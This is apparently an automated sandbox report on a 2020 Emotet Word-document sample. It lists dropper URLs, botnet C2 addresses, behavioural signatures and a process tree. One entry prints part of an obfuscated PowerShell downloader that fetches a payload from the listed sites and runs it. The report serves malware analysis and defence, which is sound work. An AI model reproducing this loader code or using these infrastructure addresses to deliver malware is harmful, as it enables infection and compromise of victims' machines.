Analysis

  • max time kernel
    140s
  • max time network
    137s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    29/10/2020, 18:17

General

  • Target
    emotet_e2_5e49a64852901bd8057faf79a29c4014763a93bd4f8a0c448a58ab101da4fac7_2020-10-29__173229048011._doc.doc
  • Size 238KB
  • Sample201029-meshtnldxj
  • SHA256 5e49a64852901bd8057faf79a29c4014763a93bd4f8a0c448a58ab101da4fac7
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://tuankhoi.com/wp-content/CI2oG/

  • exe.dropper

    https://www.microsystem.fr/newsletters/uITRJ/

  • exe.dropper

    https://natfast.com/wp-content/geeVh/

  • exe.dropper

    https://blog.smyrnaweb.com/cgi-bin/Kzd0vdC/

  • exe.dropper

    https://mhkhardware.com/cgi-bin/Mrn/

  • exe.dropper

    https://ostemeda.lt/wp-content/S/

  • exe.dropper

    https://blog.techforing.com/wp-includes/3XgEg7/

  • exe.dropper

    https://techzslack.com/wp-includes/gSXf/

Extracted

Family
  • emotet

Botnet
  • Epoch2

C2
  • 102.182.145.130:80

  • 173.173.254.105:80

  • 64.207.182.168:8080

  • 51.89.199.141:8080

  • 167.114.153.111:8080

  • 173.63.222.65:80

  • 218.147.193.146:80

  • 59.125.219.109:443

  • 172.104.97.173:8080

  • 190.162.215.233:80

  • 68.115.186.26:80

  • 78.188.106.53:443

  • 190.240.194.77:443

  • 24.133.106.23:80

  • 80.227.52.78:80

  • 79.137.83.50:443

  • 120.150.218.241:443

  • 62.171.142.179:8080

  • 194.4.58.192:7080

  • 62.30.7.67:443

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_5e49a64852901bd8057faf79a29c4014763a93bd4f8a0c448a58ab101da4fac7_2020-10-29__173229048011._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3304
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
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 j j k g S   [ ' + ' ]   [ ] w ] [   1 )   j ' + ' j k g S ' + '   [ ' ) ) + ( ' ]   [ ] ' + ' w t e c h ' + ' z s l a ' + ' c ' ) + ( ' k . c o ' + ' m ' ) + ( ( ' ] [   1 )   j j k g ' + ' S ' + '   [ ]   [ ] ' + ' w w p - i n c l u ' + ' d e ' + ' s ' + ' ] ' ) ) + ( ( ' [   ' + ' 1 )   j j ' + ' k ' + ' g S   [ ]   [ ' ) ) + ( ( ' ] ' + ' w ' + ' g S X f ] [   1 ' + ' ) ' + '   j ' + ' j k g S   [ ' + ' ] ' ) ) + ( '   ' + ' [ ] w ' ) ) ) . " r e ` p l A C e " ( ( ( ( ' ] [ ' + '   1 ' ) + ( ( ' ) ' + '   j ' ) ) + ( ' j k g ' + ' S ' ) + '   ' + ( ' [ ]   ' + ' [ ] w ' ) ) ) , ( [ a r r a y ] ( ' / ' ) , ( ' x ' + ' w e ' ) ) [ 0 ] ) . " s p l ` i T " ( $ R 7 v 0 y a l   +   $ Z 1 v b t n y   +   $ P d c q r 7 o ) ; $ X q j w u 0 f = ( ( ' R _ m ' + ' c ' ) + ( ' q u ' + ' 2 ' ) ) ; f o r e a c h   ( $ Y c k z v l 8   i n   $ L x d e h r a ) { t r y { $ U g w g _ 3 v . " D O ` W N ` l o A d f i l E " ( $ Y c k z v l 8 ,   $ C s 7 u q 4 r ) ; $ I 1 a c y h _ = ( ( ' M s ' + ' f x ' ) + ( ' r ' + ' t 5 ' ) ) ; I f   ( ( . ( ' G e t - ' + ' I ' + ' t e m ' )   $ C s 7 u q 4 r ) . " L e ` N G ` T h "   - g e   3 5 4 2 9 )   { ( [ w m i c l a s s ] ( ( ' w i n 3 ' + ' 2 _ ' ) + ( ' P r o c ' + ' e ' ) + ' s s ' ) ) . " C R ` E ` A T E " ( $ C s 7 u q 4 r ) ; $ N a 6 m 0 _ 1 = ( ( ' H j y ' + ' y ' ) + ' i ' + ' d b ' ) ; b r e a k ; $ L d 2 7 m m z = ( ' Y e ' + ' c 5 ' + ( ' s 5 ' + ' g ' ) ) } } c a t c h { } } $ B v 9 t 7 k o = ( ' H ' + ( ' m o ' + ' 9 ' ) + ( ' l x ' + ' i ' ) ) 
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1940
  • C:\Users\Admin\Gzcs8b5\Eempwrr\J3pw9s.exe
    C:\Users\Admin\Gzcs8b5\Eempwrr\J3pw9s.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:3688
    • C:\Windows\SysWOW64\KBDAZST\xwizards.exe
      "C:\Windows\SysWOW64\KBDAZST\xwizards.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      PID:1060
  • \??\c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NgcSvc
    1⤵
      PID:568
    • \??\c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s DeviceAssociationService
      1⤵
        PID:2280
      • \??\c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s NgcCtnrSvc
        1⤵
        • Modifies data under HKEY_USERS
        PID:2400

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            memory/1060-15-0x00000000020B0000-0x000000000210B000-memory.dmp

            memory/1060-16-0x0000000002110000-0x000000000216A000-memory.dmp

            memory/1940-8-0x0000023DFF110000-0x0000023DFF111000-memory.dmp

            memory/1940-7-0x0000023DFEE00000-0x0000023DFEE01000-memory.dmp

            memory/1940-6-0x00007FF8BB9F0000-0x00007FF8BC3DC000-memory.dmp

            memory/3304-0-0x00007FF8C1FC0000-0x00007FF8C25F7000-memory.dmp

            memory/3304-5-0x000001DB4912E000-0x000001DB49133000-memory.dmp

            memory/3688-11-0x00000000025C0000-0x000000000261B000-memory.dmp

            memory/3688-12-0x0000000002620000-0x000000000267A000-memory.dmp